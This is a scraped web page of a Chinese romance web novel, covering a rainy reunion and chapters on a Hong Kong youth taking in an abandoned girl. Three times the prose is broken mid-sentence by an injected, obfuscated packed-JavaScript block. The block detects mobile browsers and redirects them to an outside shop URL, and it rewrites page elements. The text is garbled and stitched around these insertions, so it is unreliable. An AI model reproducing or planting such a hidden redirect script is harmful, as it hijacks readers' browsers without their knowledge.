这个问题,从他口中问出来,难以言喻的微妙。 “嗯……”她失着神,低声试着回应,头脑在清醒和糊涂之间横跳,空虚,麻木,不听使唤。 她其实都不确定,他问的是不是刚刚陪她在这里的里斯。 但她只会嗯了。 静了几秒,男人淡哂了下,似乎对其很不满意:“也不知道提醒你遮伞。” 随后他的语气便多出些听不出喜怒的肃沉:“都学会谈恋爱了,几时的事?” “……” “问你呢。” 许织夏低着眉眼,眸光涣散,话也没听进去,以为自己在梦里,喃喃着自说自话:“男朋友……未来男朋友。” “喝酒了?”他明显不悦了。 许织夏本能闭上了嘴,没再胡言乱语,听声音她都能想象出他在电话那头脸色难看的样子。 男人一开始还有顾忌,顾忌她当真“不一定想见他”,真打算远远看一眼就算了,但此刻什么顾虑都再无关紧要。 电话那端他不容置疑:“你是自己过来,还是想让我过去?” 怎么听上去他好像就在身边。 许织夏后知后觉地疑惑,通话却猝不及防断开了,都等不及她回答。 许织夏忽然心慌,匆匆连按几下回拨键,又去摸牛仔裤,可口袋都翻遍了,也没找着一元港币。 她不是爱哭的人,但在酒劲作用下,情绪不堪一击,单单只是没钱打一通公共电话,她眼眶就滚烫了,眼泪一下子掉出来,最后在电话亭里无措地抱着听筒抽噎。 压抑一晚的情绪由此释放而出。 凉风拍着她的背,酒精在她脑子里继续发酵,她晕头晕脑的真当刚刚都是梦,这场大梦带来的只有失望,留下的只有荡然无存的空虚,醒后她还是孤零零没人要的一个人。 她一点儿都不愿意做这样的梦…… 许织夏心里一时委屈,突然摇摇晃晃跑出电话亭,负气地蹲回到那地方淋雨,跟自己较劲。 她抱着双腿,泪珠子失控往下落,单薄的肩膀一耸一耸。 男人的黑鞋很快进入她视野,伞骨撑开伞面的声音轻响,一把黑色大伞遮到她头顶。 许织夏的哽咽一顿,一点点懵懂抬头。 面前是男人的长腿,再是搭着件外套的胳膊,握住伞柄的手指骨修长,干净皮肤下显露青筋脉络,带着熟悉的力量感。 她突然不敢再往上看。 肩头一沉,先披落下他的外套,男式休闲西服过分宽大,将她的绿色小吊带完全裹在里面,一股温暖驱散凉意,她周身瞬间都是他清冽好闻的气息。 跟着男人腾出的那只手从她眼前垂落,抽走了她攥住半天的那支烟。 “存心气我呢?”他管教的口吻,一语道破她所有心思。 许织夏骨架小,个头原本就被他压了一头,这会儿蹲在他跟前,像个被家长哄着的小孩儿。 听着他真实的声音,她一顿一顿吸着鼻子,像是在委屈他严苛的管束。 他把烟投进不远处的垃圾桶,压曲右腿,在她面前徐徐蹲下。 男人的面容闯入了许织夏的视野。 他唇色健康浅红,野生眉偏浓,眼褶深邃,长相比里斯还沾花惹草,但他眉眼间多了几分冷感和攻击性,显得不好招惹,不如里斯好亲近。 他黑色短发蓬松,这会儿是乱的,拢得随意,骨相早已褪去少年感,又过去四年,成熟男人硬朗血性的味道更加浓烈。 他在面前撑着伞,时光仿佛倒退回了十七年前。 许织夏思绪恍惚,目光被他的眼睛吸住,静静和他对视,相顾无言。 这一刻,他们仿佛置身在海棠雪里,夜色茫而无尽,细雨如丝如雾,他腕表表盘上的秒针转过一圈又一圈,可四周一个经过的人都没有,倘若不是花瓣时不时隔空飘落下几片,都要以为时间已经静止。 这是真实的吗?他就近在眼前。 许织夏有一种同时承受喜悦和痛苦,伪装出的平静,她不知道这是暗室里终于照进了光,还是上天惩罚给她的多一次的告别。 这感觉太折磨,她想挣脱他抓人的双眼,目光艰难想要挪动,却突然后知后觉地坠入了更深的折磨。 他脸上怎么有伤。 许织夏望着他颈间的口子,嘴角的淤血,鼻梁的血痕,心里顿时闷闷的。她用力掐住自己的手心,内心极度挣扎,最终还是控制不住,手慢慢伸出外套。 甲盖清透的指尖触碰到他的皮肤,清晰感受到他的体温,不再是隔着一通电话,和千百个日夜的距离。 她可有可无地碰了一下,先是他的颈侧,到唇角,再一点点上移,胳膊抬高了,去够他的山根。 他主动往下矮了矮脑袋,就着她高度,去找她的手指。 她的指尖便轻易摸到了他的鼻骨。 有人影接近,是拎着购物袋回到这里的里斯。 撞见这幕,里斯倏地止步,惊愣在不远处。他没有冲上前,可能是因为女孩子尚未表现出任何抗拒,也可能是因为男人斜睨而来的那个不善的眼神,太有敌意,将他死死钉在原地。 许织夏迷迷糊糊的,没注意到里斯,眼里只有眼前这个人。 正心乱如麻,听见了他低沉的声音:“你那位未来男朋友,需要我亲自请他离开么?” 许织夏喉咙一紧,顿觉自己穿越了千山万水,掉回到旧梦里。 她曾试想过千万句再遇时的开场白,都不及他一句寻常的管教,依旧是那副家长的架势,始终未变。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726214|189460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 什么需不需要,他这话的意思,就是今夜里斯非离开不可。 他一瞬不瞬注视着她,许织夏又被他的深邃眼瞳吸附住。 他的瞳孔是深调的黑蓝色,不太显眼,但有亮光的时候,就能看到黑里透出的一丝丝蓝意。 尤其在阳光下,他的眼睛就是深海。 曾经许织夏不明白原因,天真地认为他是天生的,世界之大没什么可奇怪的,漂亮就行了,他的眼瞳就像宝石一样好看。 后来她明白了,那确实是天生的。 因为他的父亲是中英混血。 思绪越扩散,心里就越难过,许织夏悠悠忽忽的,小声埋怨:“你怎么什么都要管……” “只管你。”他又说:“管不得了?” 醉到这地步,已经是雾里看花,不知所云。许织夏想着什么,脑袋微微下歪,声音很轻:“他们都说你坏,说你不是好人。” 他指背拂去她脸颊的湿痕:“小没良心的。” 男人手指的温度滑过她的皮肤,许织夏反应变得更慢,迟钝好些秒,才温顺告诉他:“……我没说。” 他抬唇,唇边括弧浅而迷人:“好,你没说就行。” 别人都不重要。 三言两语勾连出深处碎裂的记忆,千万片碎玻璃飞袭过来,割着许织夏的大脑,头疼得她一阵清醒,一阵眩晕。 “……我们不是说好的吗?”她忽然不由自主冒出一句。 男人有片刻的沉默:“你指什么,我们说好的事太多了。” 许织夏双颊水红,唇也红,鼻尖更红,眼睛在潮湿的空气中也变得更加湿润:“我们不是说好,你不结婚,就不见面的吗?” 他肩后有花瓣相继飞落,许织夏迷离望过去,仿佛望见了千里之外那个江南的小镇子。 她目光没了焦点,渐渐空洞,人虚飘飘的,安静走着神。 “说不说好,都不是我说了算……” 地面湿漉漉的,灯影昏照,映得落花半透明,路面折出暖黄的光。 后面那盏路灯将伞面笼罩出雾蒙蒙的光晕,他们在伞底下,被渲染得有几分颓唐和清寂。 男人颈间隆起的喉结一动,掌心覆上她的发,想要哄哄她,但唤她时哑了嗓子。 “……小尾巴。” 皱皱巴巴的人生在他久违的轻唤里被熨烫了一下,许织夏再支不住,像败兵归降,身子温温吞吞往前倾。 额头磕到他肩上,压着,她困乏地闭上眼:“你给我找嫂嫂了吗?” 声音弱下去,接近梦呓—— “哥哥……” 他的心肺霎时间燃起一场大火,灼得咽喉都发烫。 有时候,他也会憎恨自己是纪淮周,比如第一眼发现她瘦了,比如她就要哭了,比如现在,听见她这声委屈的哥哥。 周遭的空气开始稀薄,一朵海棠也随之坠落,颓萎地摔了地,沾上污湿。 “周楚今同学,我真是服了!你怎么每次一做坏事就会被你哥哥当场抓到啊?” “……” “没事的,哥哥才不会生气呢。” 因为犯错的时候她会撒娇,堵着哭腔,自己站在旁边可怜兮兮:“没关系,哥哥不用管我,我饿了自己会去捡垃圾吃的……” 他总是会被气笑,又拿她没辙,直接拎她坐到餐椅上,装模作样凶她:“还轮不到你捡。” 记忆翻涌,情绪上顶,许织夏的眼泪濡湿了他肩上的衬衫。 许织夏曾无数次地思考过,困住她的到底是什么呢?是被凝视的欲望,还是被审判的道德?可真的到了重逢的这一刻,仍然悬而未决。 或许曾经意识到暗恋的那一个瞬间,就注定了她失恋的开始。 回望过去周而复始的年岁,起于雨夜荒凉的街边,那场来自十七年前的雨又淋到了她。 负伤的蝴蝶最好是死在那个万劫不复的春天。 在他走之后, 或是他来之前…… 4. 故人不在 许织夏总在想,如果当初在被送回儿童院的途中,自己没有偷偷出逃,或许多年后就不会这般痛苦。 毕竟得到过再失去,远比从未开始要来得绝望。 那是某一个春天的夜晚,港区那阵天气正不稳定,晴雨无常,温度颠簸得大片人冷不防感冒。 刚下过一场大雨,路灯下,地面湿得水光发亮,没安生两分钟,雨水又时急时缓地落了起来。 旁边有间冰室,贴着菜单纸的乌绿条框玻璃门顶上,挂着“芳華冰室”的亮牌,砖红色繁体字。 烧腊,菠萝油,猪仔包,丝袜奶茶……各种浓厚的地道香味从门隙里一缕缕扩散而出,雨水洗过的空气干净又清凉,放大了食物的香。 当时,许织夏就蹲在冰室门口的角落。 那一小块地一抹黑,处于路灯外的视野盲区,雨天食客三三两两,进出都忙着开伞收伞,谁都顾不上去发现一个躲在边缘阴影里的五岁小女孩儿。 冰室外的廊檐很窄,雨不间断打到许织夏。 她抱腿埋着脸,背贴墙蜷成很小一团,不合身的浅色裙子拖在黑浊的湿涂里。 虽然港区回归已有十年,但普及国语不是一日之功,那时候,普通话在港区的街头巷尾使用程度还是很低,隔着玻璃门的那些喧杂声响,全都是粤语方言。 许织夏一个声都听不懂。 前所未有的饥寒和孤寂。 车子一闪接一闪轧过积水,她被车灯光刺得产生幻觉,恍惚又在京市的胡同里看到了爸爸妈妈—— “夏夏,要遇着心眼儿好的就跟人回家,自己乖点儿。” 黑夜里,蹲在她面前的母亲眼里泛着泪光。 亲信握着伞,伞下的父亲冷哼,痞调的京片子带着鄙弃:“你还有心思管她乖不乖的!院儿里那位可都发话了,打这儿起,你只有一个儿子,没生过丫头!” “福利院我都托人打点妥了,收起你的慈悲,别在这当口儿给我坏事!” 父亲回身坐进长轿车,车窗降落,不耐烦地一声声催促。 母亲看了她最后一眼,把自己手上的伞搁到她鞋边,闭眼抹了把泪,起身扭过头去。 轿车从许织夏眼前离去,许织夏抱起地上的伞,望着车尾灯灭在巷子尽头。 她只身一人站在幼儿园门口,安安静静不吵不闹,可能听懂了父亲的意思,也可能只以为,这就是个寻常的周日返园的夜晚。 “爸爸妈妈再见……” 那时的空气一样湿冷,她对着空荡荡的胡同,轻声自言自语。 人类无法回忆起自己生命早期的细节,心理学称其为童年失忆症。 但在两年前那个更不记事的年纪,与父母的最后一面,已然成了许织夏的不能忘。 许织夏再没见过父母,却死死抓住了妈妈那句话——要遇着心眼儿好的就跟人回家。 她想,如果她听话,妈妈就一定会回来接她…… 又一束车灯光如洪水逆流进眼里,倏地把许织夏拖出了幻觉。 雨声里混进了两道粤语。 “纪董讲过,您今晚一定要同我回去别墅。” “劳驾他滚远点发梦。” 先开口的声音是一位耐心的中年男性。 而后者是一个少年,他的声音低冽,不带情绪,只有港腔意兴索然的懒劲。 “小少爷,您就上车吧,纪董在英国每日都好挂念你的。” 少年不咸不淡地嘲弄:“怎么,他老人家又对现在的儿子不满意,想换另一个了?” “纪董也是不得已,讲到底他都是你阿爸,父子坐下来慢慢谈,没什么说不开的……” “好啊,钟遒叔。” “那您——” “让他来给我阿妈陪葬先。” 中年男人的欣喜变成一口凉气倒抽回去。 少年似笑非笑,语气没什么温度,却让人感觉周身的冷雨凝结成了冰锥:“不然我怎么知道,他不是在装好心呢。” “这……”这大逆不道的话钟遒怎么敢接。 雨势变大,淹没了对话声。 僵持了几分钟,临时停靠路旁的那台当年最新代幻影无奈驶离,车灯散光,轿车淋在雨幕里一身亮黑,渐渐远去没入黑夜。 球鞋踏过潮湿路面,溅出的水声慢慢悠悠靠近,最后停止在许织夏的耳畔。 同时雨滴撞击伞面的声音变得清晰,噼里啪啦细碎跳跃,像双手轻快拍打着纸张。 许织夏感觉到左边站了个人。 “嗯。”过片刻那人淡淡出声。 似乎是刚刚那个少年。 他在和谁通电话,零星回了几声嗯,不知道是不是困了,听声音他没什么劲,对任何话题都感觉厌倦。 他的伞应该是握在左手,伞檐滚落的雨珠子全滴答在了许织夏头顶。 许织夏抱紧自己,不敢吭声。 陌生的环境,陌生的语言,陌生的人,都让她感到害怕。 “明晚。” 许织夏呆懵了下,不确定有没有听错,他讲的好像是国语。 许织夏想再分辨,身旁却没了声,但是过了会儿,她头顶没有水珠再滴落下来了,檐雨也被遮住不少。 是雨停了吗?许织夏想要抬头去看,先听见少年重新开口。 “算我欠您人情。”电话里的人大概说他见外之类,他闻言鼻腔透出一声哂笑:“该还还。” “亲兄弟不还分你我么。” 他拖着气息腔调慵懒,话里有着别有深意的嘲讽,随后便挂断,结束沟通。 金属手柄落地“啪嗒”一声,一个庞然大物罩住了许织夏。 许织夏懵懵抬起脸。 直长的伞柄横亘在她脚边,和宽阔的黑色伞面支成一个隐蔽空间,正好把小小的她遮在里面。 外面的雨并没有停。 越过伞沿,许织夏望见了少年懒洋洋走远的背影。 他体型颀长,身上的英式校服来自港区一所国际中学,墨绿外套被他脱下甩到肩上,右手揣在裤袋里。 经过一盏路灯,他的身影被短暂照亮两秒,他耳廓戴着黑银兽面耳骨夹,一头蓬松层次的黑发不算短,耳上部分在脑后随性半扎住,下半的狼尾发弯至颈下,一点都没有学生的样子。 走在朦胧雨夜里,身上强烈的疏离感盖过了他的孤寂。 少年消失在街的尽头,他的黑伞躺在地上,挨着许织夏。 许织夏想起了妈妈的话。 她不明白怎样才叫心眼好,但她记得,妈妈离开前,也是这样给她留了一把伞。 许织夏眨着湿漉的睫毛,鼻尖已经冻红,她伸出僵冷的小手,够到伞柄,小心抱起来。 大伞很沉,压住许织夏只有一米左右的小身子,许织夏走进雨中,被雨水砸得歪歪扭扭。 她朝着少年去的方向走,一直走,可是哪里都没有他的身影。 许织夏停在一栋大厦前,里面挥发出一股很奇怪的混合气味,类似臭鸡蛋腐败的霉味,甚至还有辛辣的体味,危险的异域感浓烈。 雨下得越大,四周越冷清,没有人她反而没那么怕,于是她进了大厦旁的地铁口,挨着自动扶梯背后的墙角蜷坐下来。 许织夏把自己藏在黑伞后面,饿着肚子昏睡过去。 这里比外面暖和,但湿着头发和裙子伏在地面避免不了着凉,期间许织夏不时冒出冷汗,很不踏实。 她听着雨声醒醒睡睡,后来雨声没了,再后来雨伞边缘微微涌进亮光,地铁站人流逐渐多起来,从冷清回到快节奏的喧嚣。 天亮了。 许织夏瑟缩在那里像是躲在了世界的背面,一整日了都没人发现她。这个小犄角太不起眼,哪怕有人经过,也只以为是谁在那儿晾了把伞。 她浑身忽冷忽烫,数不清是第几次在噩梦中惊醒,迷迷糊糊再睁眼,外面暗沉沉的。 天又黑了,仿佛过了一个世纪。 “妹妹仔?”雨伞被试探地拨开,眼前出现一张陌生老婆婆的脸,她用粤语,语重心长地对许织夏说:“这里旧时是美军的红灯区,如今死鬼佬好多,都是拐子佬,不要一个人过来啊妹妹仔!” 那张脸苍老,眉凸眼凹,鹰钩鼻,粗哑的嗓子像卡着一口痰,神似童话书里的老巫婆。 惊慌的表情爬上许织夏稚嫩的脸蛋,许织夏不懂她意思,只是害怕。声音阻在喉咙里出不来,她东倒西歪攀墙爬起,拖着伞和自己发软的身体,小碎步逃掉。 一跑出地铁口,就撞上了大厦外聚满的黑影。 许织夏愣愣顺着影子往上看。 昨夜的无人之地,此刻处处人头,里面都是商贩,门口晃悠着不少贼眉鼠眼的成年男性,清一色中东和南亚边境的贫民面孔,包头巾的,留满络腮胡的,皮肤脏黑,人高马大,空气里也多了那股难闻的气味。 这栋旧楼阴森压抑,宛如三教九流的杂窝。 怪异的目光从四面八方盯过来,有几个印度阿三交换眼神,不显眼地靠近三两步,似乎是在伺机而动。 许织夏头皮发麻,一个劲哆嗦,无助到哭不出。 就在那时,有个松弛的身影双手插兜,从许织夏和那帮洋鬼子中间,视若无睹地经过。 他狼尾发半扎,耳骨夹纹理格外特别。 许织夏一眼就认出了他。 伞骨在地面拖出尖锐划响,许织夏跌跌撞撞追上去,胳膊抬过头顶,攥住了他衣角。 少年顿足,不紧不慢扭过脖颈。 那时不太晴朗,雨后的天惨淡,阴霾当空,青灰色浓云蔽日,却又猝不及防裂开了一道缝。 他回头的那个瞬间,身后天光破云。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726215|189460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 忽然而至的阳光加深了他面部的线条和阴影,他骨骼立体周正的轮廓因此有了更强的冲击力。 许织夏终于看清了他的脸。 他睫毛半压着那双深邃的眼,眼瞳不是很黑,隐约有些蓝调,像浸着冰凉的海水,孤傲冷硬。可他又唇红齿白,容貌俊美相。 总之那是一张漂亮到不真实的脸。 那个年纪的许织夏,美丑意识尚未完全觉醒,但当时与少年相视的那一刹那,很多很多年以后,许织夏依然刻骨铭心,那是她生命中第一次感受惊艳。 只不过,少年似乎并不怎么善良。 他懒怠地耷着眼,深邃眼底像覆了层寒霜,他用这样的眼神睨着许织夏,许织夏就觉得自己被一条野狼盯着了,他随时可能发疯,把招惹自己的小废物撕咬得血肉模糊。 但只有他会说她能听懂的国语,相比身后的诡异人群,他对许织夏而言,已有了不可替代的安全感。 何况许织夏一根筋地记着妈妈的话。 许织夏仰着巴掌大的脸,鹿眼扑闪,有些生怯,却又直愣愣望着他的眼睛。 那几个印度人端详少年两眼,用难听的印度口音英语说,这孩子我们认识。 少年垂眼瞧了下许织夏拖着的伞,谁也没给眼神,事不关己回身走了,但许织夏紧紧捏着他的衣角没松手。 他没同意也没拒绝。 许织夏跟着他走出几步,突然被扯住胳膊,少年也间接被扯得止步。 依旧是那几个赖歹相的印度人。 他们拉住许织夏,一人附和一句,教育她别再闹脾气离家出走,快跟他们回去。 许织夏叫不出声,吓得紧闭双眼,死死拽住少年,但凭她的力气根本挣扎不了。 少年背立着,没立刻出手相助,也没甩开她。 直到校服衣角从许织夏指间脱落的那一刹那,少年被谁的肩膀顶得身形一歪,他才转过身,阴着脸,扣住一人后颈,一脚踹进了对方膝窝。 不知他是不忍心许织夏的绝望,还是单纯因自己被撞不爽,总之动手了,这一架就在所难免。 另外几个印度人反应过来,马上抡起常备的棍子,一拥而上。 棍子挥下来,五岁的许织夏脑子空白,只会怔在原地惊恐了,一只有力的手及时拎起她,一把甩到了后边去。 临头那一棍砸在了少年的手掌骨上。 一度混乱。 有个不要命的趁乱挥来一拳,少年的脸蓦地歪向一边,他保持着那个姿势没动,贴身肉搏的场面就在此刻按下暂停键。 他舔了下嘴角,不怒反而笑了。 舌尖的血腥味似乎把他体内的疯子释放出来了,他唇锋的笑痕勾出点快感,慢慢悠悠掀起眼皮,盯着这几头猎物,兴奋在无趣的日子里逮到了宣泄的对象。 包围他的印度人从他的眼神里感受到了找死两个字,不禁犯怵,他们警惕又畏缩地盯着他,举着棍子虚张声势地佯装进攻状态。 少年慢条斯理剥下校服外套和衬衫甩在地上,身上的纯黑背心收着胸腹肌理,两条手臂线条利落又结实。 这帮印度人一看就知道并没有真正搏击的实力,而少年明显学过格斗,他稳稳接住棍子,防御的同时也没再收着劲,接下去的每一下都狠狠打中他们的命门,眼都不眨。 洋鬼子都翻滚在地上喘粗气痛吟的时候,他只是呼吸变重,看上去头发乱了些。 许织夏没见过真的斗殴,因为年少无知,所以她没路人显得那么惊慌,见少年面不改色走人,她没傻愣着,忙不迭跟上去。 他腿长,一步抵她好几步,许织夏怕被落下,在后头摇摇晃晃小跑着。 经过昨夜那间“芳華冰室”时,那片危险地带已经远离。 少年突然回身,许织夏险些撞上他,赶紧退开小半步,再望向他,畏怯又茫然。 “还跟住我,不怕死啊?” 他的气息平复了,语气凉丝丝的,又变得阴晴不定,一身对什么都提不起兴致的劲。尽管没有因为她是小朋友而温柔一点,但并不凶。 而且他讲的是粤语,许织夏压根不知道他是在警告。 许织夏眼睛一眨一眨,呆萌地巴望了他片刻,非但没有后躲,甚至还小心翼翼伸出手,圆润的指尖捏住了他的一根手指头。 “哥哥……” 少年神情出现一丝不易察觉的变化。 小朋友声音软,吐字黏糊,但他能听出是内地的口音。 许织夏黑亮又稚气的眼睛闪了下水光,脸蛋和裙子都脏兮兮,比得上路边的流浪猫,一副可怜相。 望了他酝酿了好一会儿,她才又发出声。 她带着鼻音,像是很久没有开过口了,口齿有些生涩,加上对他的一点心畏,话说得怯生生。 “我能不能,跟你回家……” 5. 故人不在 纪淮周怔了两秒,奇怪地看着跟前的小孩儿,当时的情境下,他很难不把她当成街头诡计多端的骗局的一环。 他嗤笑一声,目光居高临下,换成她能听懂的普通话,对着个小孩子也没收收脾气。 “哪儿来的小骗子?” 纪淮周眼里只有两类人。 别人,和他自己。 人为鱼肉他便为刀俎,人为兔他便为狼,心软和仁慈在他的书录里,是阅后即焚的一页。 所以即便有个小女孩儿大眼睛小圆脸,闷闷地用委屈的眼神传达自己不是小骗子,他也无动于衷。 纪淮周转身,许织夏拖着他的手也要跟他走。 他不得劲,停下来,垂着眼端详她:“跟谁学的赖皮劲儿?” 许织夏还握着他手指没放,满眼都是小朋友的清澈呆萌,好像赖定他了。 纪淮周要笑不笑地戏谑道:“哥哥看起来太好说话了是吧?” 许织夏眨巴着眼睛注视着他。 他刚打过一场狠架,手掌骨渗着血珠,脸部也有几处淤青和血痕,没表情时很阴暗,一笑就乖张又顽劣。 许织夏看到他破相的惨烈,自身的强大,以及他眼里的流离。 但她没有很怕。 她可能还想点个头。 纪淮周不给她机会,准备把这只纠缠的小东西拎一边去,她的肚子先咕噜噜叫了两声。 看样子她还想再骗吃骗喝。 他轻啧,可能是一心想甩掉她,僵持两三秒后,他没再说话,慢悠悠直起身走开,掌住玻璃门,进了那间“芳華冰室”。 许织夏又一个人被丢在原地了。 她望望四周,无处可去,也不敢再乱走,就着门口的石墩坐下。 冰室店面不算大,老式马赛克地砖,墨绿皮座椅和门窗格,以及两面不规则的港片海报墙。 食客黑压压,但许织夏一眼寻见了少年的身影,他手抄兜倚在前台,个子高,人群里最惹眼。 店里十分闹哄,相比之下,街巷更冷清了。 许织夏脑袋晕沉,肚子空得人乏力,她畏畏缩缩地抱住自己,和昨晚一样,闻着热腾腾的食物香气,四顾茫然。 一晃不知过去几分钟。 许织夏差点昏睡过去,突然一个沉甸甸的纸袋子落进她怀里,里面有两只打包的猪仔包。 她抬起头,一双长腿迈到了眼前。 少年去而复返。 许织夏昂着脸,腮帮发烫,红得异样,鼻腔塞住了,只能微张着嘴巴呼吸,愣愣瞧着他,一脸憨态。 纪淮周手里还握着杯朱古力,似乎是要递给她,但打量了她两眼后,他胳膊又收回去,自己留着这杯高热饮品了。 纪淮周毫无疑问的没心肺,但对着一个无家可归的小朋友,灰烬里似乎还有一点没焚透的良知。 他下巴抬了一下,示意她怀里那只食品袋。 “骗到了,”他漫不经心赶她:“走人。” 他抬腿,许织夏想也不想地跟上他。 纪淮周停在的士站牌下,一只手抄在裤袋里,一只手懒散垂落腿旁,指尖拎着朱古力,扭过脖颈往后瞥了许织夏一眼,浑身骨子都散着劲。 许织夏还没意识到自己误解了“走”的意思,搂住食品袋,仰着脸蛋,看他的眼神别提有多无辜。 纪淮周一边睨着她,一边把朱古力送到自己唇边,叼住吸管,一股甜腻滚进喉咙,齁得他嗓子黏糊。 他拧眉,面无表情的脸上有了点嫌弃和烦躁的情绪,胳膊一扬,把那玩意儿丢进了垃圾桶。 再回头,就见小姑娘目光还黏在他脸上,好像咬住他了,甩不掉。 楚楚可怜的,跟铁了心要骗取他同情,再把他卖到泰缅去似的。 “还看呢,”纪淮周拿下巴对着她,语气很欠:“骗了哥哥吃的,还想骗哥哥的人?” 许织夏抿抿唇,闷声不响。 的士开近一台,司机问靓仔要到哪里落车。 纪淮周拉开后座,俯视着身后的小冬瓜:“上车,抓你这小骗子给警察。” - 油麻地警署报案中心。 墙上挂着港区蓝底银字的紫荆花警徽,吵闹声贯彻大厅。 “那家伙实在狂,就殴他两拳啰。” “他都被打崩牙了!” “我们也都笑崩牙了,扯平了嘛,哭小声点啊,打架输了很光彩吗,男子汉大屁股,真想踹两脚。” “喂,你们不要这么嚣张!” “嚣张犯法吗?” 几个男高中生在许织夏前面挡成一堵墙,他们穿的都是和纪淮周同样的英式墨绿校服,脸上多少都有打斗的淤青。 人分成两帮,少的那拨人咬着牙清一色恼怒,而人多的那一派占上风,这个阴阳怪气,那个捧腹大笑,勾肩搭背的甚是气人。 其中多的那拨人里,有两个少年自始至终没搭腔,他们身高最挺拔,相貌也最标致,一个漠着脸,一个歪着头看戏。 “吵什么吵!一人讲少句,行不行?”年逾半百的老校长严肃训话:“是谁动手在先?” “我。” “我——” 一直无言的这两人异口同声。 校长头疼地皱起眉:“周宗彦!贺司屿!又是你们!就属你们最不服管教,你俩每次都要互相出头吗?” 歪头看戏的少年一笑,“嗯”一声,尾音轻快上扬:“没办法啊校长,阿霁行凶犯法,我都得给他顶罪啊。” 身旁被唤作阿霁的少年斜睨了他一眼。 那几个闹腾的损友闻言也跟着嬉笑怒骂起来,校长好气又无奈,直接没话讲。 许织夏独自坐在一角,咬了口猪仔包,两腮鼓着,听不明白他们在说什么。 是在很多年后长大,许织夏才知道,这晚有过一面之缘的两个少年,那个名为阿霁的,就是后来港区贺家那位手段了得的贺司屿先生。 而在她未来的生命长河里,这位反手乾坤的贺先生,许织夏始终都没分清他是正是邪,是敌是友。 不过此前,许织夏与他远远没有交集。 这时,有个男人走进报案大厅,一身警服佩戴警衔,英姿飒爽。 “生哥!”正要过去处理矛盾的警长惊喜,快步上前迎接,不忘提醒跟随的见习警员,说这位就是港岛总区的总警司,周祖生。 警员紧张地敬了个肃礼:“周sir!” 随后警长对其笑道:“好久没见啊生哥!今日怎么得闲过来西九龙?” 周祖生往人群一指:“老婆吩咐了,带孩子们回家。” 警长顺着方向看过去,恍然大悟,原来干仗的那帮男生里,个子最高的那两个是周警司家的儿子。他不敢怠慢,立刻亲自去解决。 纪淮周从报案窗口走回的时候,警长正挤在中间调解。 周祖生一左一右,拍了拍两个少年的头,交代警员先给他们处理下伤,随即便留意到进入视野的纪淮周。 “阿玦?”周祖生诧异他在这里,见他面部和掌骨血痕醒目,周祖生立刻走过去:“你怎么都挂彩了?” 纪淮周同周祖生对视一眼,又扫过那几个男生,唇边掠过一瞬意味深长的冷笑,然后视若无睹,把回执单丢到许织夏旁边的座椅上。 男生们倒跟见着生吞活人的鬼怪一样,叫嚣的声瞬间没了。那几个摇头晃脑的甚至还悄悄挪到周宗彦和贺司屿身后躲着。 八成都在纪淮周那儿受过教训,留了后遗症。 周祖生见纪淮周带着个小女孩,问道:“出什么情况?” 旁边的见习警员知情,立马回答:“小朋友走丢了,周sir放心,我们已经准备救助,正在查找失踪人。” 医警送来医疗箱,周祖生给了个眼神,医警会意将医疗箱打开,放到纪淮周挨边的椅面,先为他清创。 然而纪淮周避开了手,不配合。 脸上倒是轻的,但他那时为拎许织夏硬生生抬手抗了一棍,手背和指骨的紫红上都渗出了斑斑血迹,看着可疼了。 许织夏在那个年纪还不懂愧疚和担忧,但潜意识里知道—— 她不想他痛。 许织夏想了想,把医警姐姐搁到医疗箱最上面的那一包东西托起来,递过去,轻轻碰到纪淮周的手指。 纪淮周指头蜷了下,垂下眼睫,就见小姑娘扑闪着眼,递了包医用绷带给他。 她的眼睛似一泓清水,还不曾有人性的脏浊,一眼就能望到底。 他顿住,鬼使神差地翻开掌心。 绷带接到手里的短瞬,纪淮周醒过神,即刻又偏开了目光。 “老实待着吧。”他又厌懒得对什么都不上心,头也不回地走出警署。 纪淮周一走,躲着的几个男生就冒出头了,周宗彦嘲笑他们“生人唔生胆(人长了胆子没长)”。 有试图挽尊的:“他脾气不好咯,社会上那几个丧尽天良的古惑仔都得给他三分薄面,我们怎么有胆惹他。” “是啊,上年我想同他交个朋友,饮了他的咖啡,好苦啊!饮完这大佬才同我讲是鼠药!我叼!我赶去医院洗胃,隔日他又讲,‘耍你的’,还冲我笑……”有绘声绘色诉苦的,毛骨悚然地搓搓皮肤:“现在他一笑我就慌啊!” 也有委屈的:“而且他学过MMA(综合格斗)的嘛。” “再讲了,他老爹是——” 那人讳言,话说一半噤了声,转而蹲到许织夏面前:“妹妹,他好心狠的,离他远点啊!” “不是吧,小朋友也欺负?” …… 所有对他的畏惧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她都记得自己有哥哥,”周祖生合上档案递还回去,看破不说破:“留在京市,说不定还能找到家人,在内地哪里都比送到港区强。” 思维正常有辨认能力的孩子,没道理两年都找不着父母,甚至还被送到几千公里外的港区,天高皇帝远。 明摆着是弃养。 尤其京市那些大宅院,千禧年代,老一辈的思想不少滞留在晚清,重男轻女,养儿不育女的情况在当时并不罕见。 可即便周祖生心知肚明,他也无能为力。 政策上轮不到他们港区警察管。 